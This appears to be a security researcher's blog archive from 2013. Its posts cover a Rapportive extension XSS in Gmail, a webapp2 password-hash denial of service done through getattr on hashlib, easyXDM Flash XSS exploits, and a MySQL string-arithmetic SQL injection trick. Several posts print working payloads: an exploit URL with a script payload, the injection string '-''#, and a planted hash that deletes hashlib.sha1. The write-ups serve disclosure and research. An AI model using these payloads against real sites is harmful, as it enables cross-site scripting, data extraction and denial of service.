Friday, December 27, 2013

Rapportive XSSes Gmail or have yourself a merry little botnet...

tldr: Learn how to code audit Handlebars applications. Xss in extension = fun times. Mosquito gets new features.

It's that magical time of the year, when wonders happen... Everyone's getting big presents. I was apparently naughty, cause I only got one XSS. What can one do? If life gives you lemons...


you make a lemonade. And I don't mean Google juice - it does not qualify.

But XSS on Gmail?!

You see, the code executing on mail.google.com domain is not always the one belonging to Google, subject to their bug bounty. Unfortunately, there's much, much code coming from all other domains too, that does not come close to Google quality. I'm of course talking about browser extensions. I've been researching this subject for two years now, with quite a few results, and if I had to sum it all up in one sentence it would be:

Browser extensions are badly coded, can affect your website with their vulnerabilities and there's nothing you can do about it.

And this is exactly the case here: We have a top-notch Gmail application and a very popular extension that reduces Gmail to a lousy PHPBB-like forum full of XSSes. But this time, I decided to push the matter forward and demonstrate what's possible when one can execute JS in Gmail origin. But first, let me introduce you to our today's hero, Rapportive.

Monday, December 16, 2013

Breaking Google AppEngine webapp2 applications with a single hash

What's this, you think?

07667c4d55d8d81a0f0ac47b2edba75cb948d3a2$sha1$1FsWaTxdaa5i

It's easy to tell that this is a salted password hash, using sha1 as the hashing algorithm. What do you do with it? You crack it, obviously!

No wonder that when talking about password hashes security, we usually only consider salt length, using salt & pepper or speed of the algorithm. We speculate their resistance to offline bruteforcing. In other words, we're trying to answer the question "how f^*$d are we when the attacker gets to read our hashes". Granted, these issues are extremely important, but there are others.

A weird assumption

Today, we'll speculate what can be done when the attacker gets to supply you with a password hash like above.

Who would ever allow the user to submit a password hash, you ask? Well, for example Wordpress did and had a DoS because of that. It's just bound to happen from time to time (and it's not the point of this blog post anyway), Let's just assume this is the case - for example, someone wrote a malicious hash in your DB.

Introducing the culprit

We need to have some code to work on. Let's jump on the cloud bandwagon and take a look at Google AppEngine. For Python applications, Google suggests webapp2. Fine with me, let's do it!

When authenticating users in webapp2, you can just make them use Google Accounts and rely on OAuth, but you can also manage your users accounts & passwords on your own. Of course, passwords are then salted and hashed - you can see the example hash at the beginning of this post. For hashing, webapp2 security module uses a standard Python module, hashlib.

Authenticating in webapp2

When does webapp2 application process a hash? Usually, when authenticating. For example, if user ba_baracus submits a password ipitythefool, application:
  1. Finds the record for user ba_baracus
  2. Extracts his password hash: 07667c4d55d8d81a0f0ac47b2edba75cb948d3a2$sha1$1FsWaTxdaa5i
  3. Parses it, extracting the random salt (1FsWaTxdaa5i) and algorithm (sha1)
  4. Calculates sha1 hash of ipitythefool, combined with the salt (e.g. uses hmac with salt as a key)
  5. Compares the result with 07667c4d55d8d81a0f0ac47b2edba75cb948d3a2. Sorry, Mr T, password incorrect this time!

1 and 2 happen in User.get_by_auth_password() 3 to 5 in in webapp2_extras.security.check_password_hash():
def check_password_hash(password, pwhash, pepper=None):
    """Checks a password against a given salted and hashed password value.

    In order to support unsalted legacy passwords this method supports
    plain text passwords, md5 and sha1 hashes (both salted and unsalted).

    :param password:
        The plaintext password to compare against the hash.
    :param pwhash:
        A hashed string like returned by :func:`generate_password_hash`.
    :param pepper:
        A secret constant stored in the application code.
    :returns:
        `True` if the password matched, `False` otherwise.

    This function was ported and adapted from `Werkzeug`_.
    """
    if pwhash.count('$') < 2:
        return False

    hashval, method, salt = pwhash.split('$', 2)
    return hash_password(password, method, salt, pepper) == hashval


def hash_password(password, method, salt=None, pepper=None):
    """Hashes a password.

    Supports plaintext without salt, unsalted and salted passwords. In case
    salted passwords are used hmac is used.

    :param password:
        The password to be hashed.
    :param method:
        A method from ``hashlib``, e.g., `sha1` or `md5`, or `plain`.
    :param salt:
        A random salt string.
    :param pepper:
        A secret constant stored in the application code.
    :returns:
        A hashed password.

    This function was ported and adapted from `Werkzeug`_.
    """
    password = webapp2._to_utf8(password)
    if method == 'plain':
        return password

    method = getattr(hashlib, method, None)
    if not method:
        return None

    if salt:
        h = hmac.new(webapp2._to_utf8(salt), password, method)
    else:
        h = method(password)

    if pepper:
        h = hmac.new(webapp2._to_utf8(pepper), h.hexdigest(), method)

    return h.hexdigest()
So, during authentication, we control pwhash (it's our planted hash), and password. What harm can we do? First, a little hashlib 101:

Back to school

How does one use hashlib? First, you create an object with a specified algorithm:
new(name, string='') - returns a new hash object implementing the
                       given hash function; initializing the hash
                       using the given string data.

Named constructor functions are also available, these are much faster
than using new():

md5(), sha1(), sha224(), sha256(), sha384(), and sha512()
Then you just fill it with string to hash, using update() method (you can also pass the string directly to the constructor), and later on use e.g. hexdigest() to extract the hash. Very simple:
>>> import hashlib
>>> hashlib.md5('a string').hexdigest()
'3a315533c0f34762e0c45e3d4e9d525c'
>>> hashlib.new('md5','a string').hexdigest()
'3a315533c0f34762e0c45e3d4e9d525c'

Webapp2 uses getattr(hashlib, method)(password).hexdigest(), and we control both method and password.

Granted, the construct does its job. Installed algorithms work, NoneType error is thrown for non supported algorithms, and the hash is correct:
>>> getattr(hashlib, 'md5', None)('hash_me').hexdigest()
'77963b7a931377ad4ab5ad6a9cd718aa'
>>> getattr(hashlib, 'sha1', None)('hash_me').hexdigest()
'9c969ddf454079e3d439973bbab63ea6233e4087'
>>> getattr(hashlib, 'nonexisting', None)('hash_me').hexdigest()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'NoneType' object is not callable

It's a kind of magic!

There is a slight problem with this approach though - magic methods. Even a simple __dir__ gives us a hint that there's quite a few additional, magic methods:
>>> dir(hashlib)
['__all__', '__builtins__', '__doc__', '__file__', '__get_builtin_constructor', '__name__', '__package__', '_hashlib', 'algorithms', 'md5', 'new', 'sha1', 'sha224', 'sha256', 'sha384', 'sha512']
which means, for example, that if arbitrary strings can be passed as 2nd attribute to getattr(), there's much more than NoneType error that can happen:
>>> getattr(hashlib, '__name__')()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'str' object is not callable
>>> getattr(hashlib, '__class__')
<type 'module'>
>>> getattr(hashlib, '__class__')('hash_me')
<module 'hash_me' (built-in)>
>>> getattr(hashlib, 'new')('md5').hexdigest()
'd41d8cd98f00b204e9800998ecf8427e' # this is actually md5 of ''
That last bit is kewl - you can plant a hash format: md5_of_empty_string$new$ and the correct password is... md5!

Final act

__class__ may have a class, but __delattr__ is the real gangster!
>>> import hashlib
>>> hashlib.sha1
<built-in function="" openssl_sha1="">
>>> getattr(hashlib, '__delattr__')('sha1').hexdigest()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'NoneType' object has no attribute 'hexdigest'
>>> hashlib.sha1
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute 'sha1'

Ladies and gentlemen, we just broke a Google AppEngine webapp2 application with a single hash! We just deleted the whole hashlib.sha1 function, and all subsequent hash comparison will be invalid! In other words, no user in this application instance with sha1 hash will be able to authenticate. Plus, we broke session cookies as well, as session cookies use hashlib.sha1 for signature (but that's another story). As this is not a PHP serve-one-request-and-die model, but a full-blown web application, this corrupted hashlib will live until application has shut down and gets restarted (methinks, at least that's the behavior I observed). After that, you can still retrigger that vuln by authenticating again!

Demo

Disclaimer: This is tracked with issue #87Only applications that allow the user to write a hash somehow are vulnerable (and this setup is probably exotic). But getattr(hashlib, something-from-user) construct is very popular, so feel free to find a similar vulnerability elsewhere:


Tuesday, October 15, 2013

Exploiting EasyXDM part 2: & considered harmful


tldr: URL parsing is hard, always encode stuff and Safari has some interesting properties...

This is a second post describing easyXDM vulnerabilities. Reading the first part might come in handy:

Intro

"EasyXDM is a Javascript library that enables you as a developer to easily work around the limitation set in place by the Same Origin Policy, in turn making it easy to communicate and expose javascript API’s across domain boundaries". Vulnerabilities were found in 2.4.16 version, and are patched in 2.4.18. They are tracked with a single CVE-2013-5212.

In first post I've described XSS vulnerability in Flash transport used by that library, however the exploit conditions were very limiting. On websites using easyXDM the following code (used e.g. to set up RPC endpoints):
<script type="text/javascript" src="easyXDM.debug.js">
</script>
<script type="text/javascript">
    var transport = new easyXDM.Socket({
        local: ".",
        swf: "easyxdm.swf",
    });
</script>
can cause XSS when it's loaded by URL like: http://example.com?#xdm_e=https%3A%2F%2Flossssscalhost&xdm_c=default7059&xdm_p=6&xdm_s=j%5C%22-alerssst(2)))%7Dcatch(e)%7Balert(document.domain)%7D%2F%2Feheheh. That will force easyXDM to use vulnerable Flash transport and pass the injected XSS payload. However, the payload will only be used unless Flash file is set up with FlashVars parameter log=true.

Mom, where do flashvars come from?

Let's dig deeper. How is the HTML for the SWF inclusion constructed? Looking at the source code at GitHub (FlashTransport.js):
function addSwf(domain){
...
  // create the object/embed
  var flashVars = "callback=flash_loaded" + domain.replace(/[\-.]/g, "_") + "&proto=" + 
      global.location.protocol + "&domain=" + getDomainName(global.location.href) + "&port=" +   
      getPort(global.location.href) + "&ns=" + namespace;
  // #ifdef debug
  flashVars += "&log=true";
  // #endif
  ..
  swfContainer.innerHTML = ... + "<param name='flashvars' value='" +
  flashVars +
  "'></param>" ....
This 'debug' flag is a preprocessor instruction. The #ifdef / #endif block of code will only be included in easyXDM.debug.js file:
<!-- Process pre proccesing instructions like #if/#endif etc -->
<preprocess infile="work/easyXDM.combined.js" outfile="work/easyXDM.js"/>
<preprocess infile="work/easyXDM.combined.js" outfile="work/easyXDM.debug.js" defines="debug"/>
Exploiting easyXDM.debug.js file described in the first post was straightforward. But if production version of easyXDM library is used instead, there is no log parameter and XSS won't work. What can we do? Like always - look at the code, because code=vulns.

Thou shalt not parse URLs thyself!

In FlashVars construction code getPort and getDomainName functions are used to extract domain and port parameters from current window location (global.location). Let's see what happens with domain name (Core.js):
function getDomainName(url){
    // #ifdef debug
    if (!url) {
        throw new Error("url is undefined or empty");
    }
    // #endif
    return url.match(reURI)[3];
}
It is being matched against the following regular expression:
var reURI = /^((http.?:)\/\/([^:\/\s]+)(:\d+)*)/; // returns groups for protocol (2), domain (3) and port (4)
In simpler terms - everything after httpX:// and before :digits or a / becomes a domain name. Seems solid, right? WRONG.
Among many tricks bypassing URL parsers (see e.g. kotowicz.net/absolute), HTTP authentication parameters are rarely used. But this time they fit perfectly. You see, hostname (domain name) is not the only thing that comes right after protocol. Not to bore you with RFCs, this is also a valid URL:

http://user:password@host/

If our document was loaded from URL containing user credentials, getDomainName() would return user:password@host (sometimes, there are browser differences here). FlashVars, in that case, would be: 
callback=flash_loaded_something&proto=http:&domain=user:password@host&port=&ns=something
Still, nothing interesting, but...

Honor thy Encoding and thy Context

(c) Wumo - http://kindofnormal.com/wumo/2013/10/12
In previous example we injected some characters into FlashVars string, but none of them were dangerous in that context. But as you can see:
  var flashVars = "callback=flash_loaded" + domain.replace(/[\-.]/g, "_") + "&proto=" + global.location.protocol + "&domain=" + getDomainName(global.location.href) + "&port=" + getPort(global.location.href) + "&ns=" + namespace;
Values of various parameters are not percent encoded (i.e. encodeURIComponent is not used) If we could only use & and = characters in username part, we could inject additional Flashvars. For example, loading this URL:

http://example.com&log=true&a=@example.com?#xdm_e=https%3A%2F%2Flossssscalhost&xdm_c=default7059&xdm_p=6&xdm_s=j%5C%22-alerssst(2)))%7Dcatch(e)%7Balert(document.domain)%7D%2F%2Feheheh

(the bold part is actually the username, not a domain name) would cause:
...proto=http:&domain=example.com&log=true&a=@example.com&port=...
injecting our log=true parameter and triggering the exploit. But can we?

Effin phishers!

Kinda. Credentials in URL were used extensively in phishing attacks, so most current browsers don't really like them. While usually you can use = and & characters in credentials, there are serious obstacles, f.e:
  • Firefox won't return credentials at all in location.href
  • Chrome will percent encode crucial characters, including = and &
However, Safari 6 does not see a problem with loading URL like this: http://h=&ello@localhost/ and returning the same thing in location.href. So - easyXDM 2.4.16 is XSS exploitable in Safari 6 and possibly in some other obscure or ancient browsers. In Safari due to effing phishers using credentials in URL will trigger a phishing warning, so the user must confirm the navigation. Well, Sad Panda^2. But still - it's an easyXDM universal XSS on a popular browser with limited user interaction.

Developers

  • Always use context aware encoding!
  • Don't parse URLs manually!

Monday, September 23, 2013

Exploiting EasyXDM part 1: Not the usual Flash XSS

tldr: You're using easyXDM? Upgrade NOW. Otherwise - read up on exploiting difficult Flash vulnerabilities in practice.

Secure cross-domain communication is hard enough, but it's a piece of cake compared to making it work in legacy browsers. One popular library that tries to handle all the quirks and even builds an RPC framework is easyXDM.

But this is not an advertisement. As usual, you only get to hear about easyXDM here, because I found some interesting vulnerabilities. Combined, those allow me to XSS websites using that library. Certain conditions apply. As exploiting the subject matter is quite complex, I decided to split the post into two parts, this being the first one.

Thursday, July 11, 2013

Jealous of PRISM? Use "Amazon 1 Button" Chrome extension to sniff all HTTPS websites!

tldr: Insecure browser addons may leak all your encrypted SSL traffic, exploits included

So, Snowden let the cat out of the bag. They're listening - the news are so big, that feds are no longer welcome at DEFCON. But let's all be honest - who doesn't like to snoop into other person's secrets? We all know how to set up rogue AP and use ettercap. Setting up your own wall of sheep is trivial. I think we can safely assume - plaintext traffic is dead easy to sniff and modify.

The real deal though is in the encrypted traffic. In browser's world that means all the juicy stuff is sent over HTTPS. Though intercepting HTTPS connections is possible, we can only do it via:
  • hacking the CA
  • social engineering (install the certificate) 
  • relying on click-through syndrome for SSL warnings
Too hard. Let's try some side channels. Let me show you how you can view all SSL encrypted data, via exploiting Amazon 1Button App installed on your victims' browsers.  

Friday, January 11, 2013

Abusing MySQL string arithmetic for tiny SQL injections

Today I've found a small nifty trick that may become helpful when exploiting SQL injection vulnerabilities for MySQL. Namely, you can abuse MySQL string typecasting.

But first, let's look at this:

MySQL, what are you doing?

mysql> desc t;
+-------+-------------+------+-----+---------+-------+
| Field | Type        | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+-------+
| name  | varchar(20) | YES  |     | NULL    |       |
| num   | int(11)     | YES  |     | NULL    |       |
+-------+-------------+------+-----+---------+-------+
2 rows in set (0.11 sec)
mysql> select * from t;
+--------+------+
| name   | num  |
+--------+------+
| nazwa  |    3 |
| second |    4 |
+--------+------+
2 rows in set (0.00 sec)
mysql> select * from t where name='';
Empty set (0.00 sec)
mysql> select * from t where name=''-'';
+--------+------+
| name   | num  |
+--------+------+
| nazwa  |    3 |
| second |    4 |
+--------+------+
2 rows in set, 2 warnings (0.00 sec)
WTF just happened? Warnings clear up the situation a little bit:
mysql> show warnings;
+---------+------+--------------------------------------------+
| Level   | Code | Message                                    |
+---------+------+--------------------------------------------+
| Warning | 1292 | Truncated incorrect DOUBLE value: 'nazwa'  |
| Warning | 1292 | Truncated incorrect DOUBLE value: 'second' |
+---------+------+--------------------------------------------+
2 rows in set (0.00 sec)
Minus operator used on strings converted them to DOUBLE, a numeric value. What's the result of this statement?
mysql> select ''-'';
+-------+
| ''-'' |
+-------+
|     0 |
+-------+
So for each row the 'name' column was compared to 0. That triggerred another type conversion and, with a warning, for each row the effective value was 0, which satisfied the WHERE condition (0 = ''-'').

The SQL injection part

How can the attacker abuse this quirk? Imagine that you:
  • have a limited character set (e.g. no whitespace, no equals sign, no parenthesis, no letters) or small length available,
  • vulnerable query SELECT secret FROM table WHERE secret='$injection' AND another>5 AND ... .that needs to return at least one row,
  • and you don't know the values for the secret column (they're not easily enumerable),
Simple payload: '-''# will turn that query into:
SELECT secret FROM table WHERE fld=''-''# AND .....
and will return all rows (apart from those that match /^-?[0-9]/)

You can use the same trick with ''+'', ''&'',''^'' and ''*''. Beware though:
mysql> select 1 from dual where 'something' = ''/'';
Empty set, 1 warning (0.00 sec)

mysql> select 1 from dual where 'something' = ''/1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set, 1 warning (0.00 sec)
Another trick would be to simply compare a string column to ''-0:
mysql> select * from t where name=''-0;
+--------+------+
| name   | num  |
+--------+------+
| nazwa  |    3 |
| second |    4 |
+--------+------+
2 rows in set, 2 warnings (0.00 sec)

The tricks mentioned here were tested on MySQL 5.5 and 5.1, but should work in older versions too.

And that's all folks. For all your SQL injection techniques, I highly recommend The SQL injection reference by Roberto Salgado. It helped me numerous times and is in my opinion the best reference on SQLi ever made.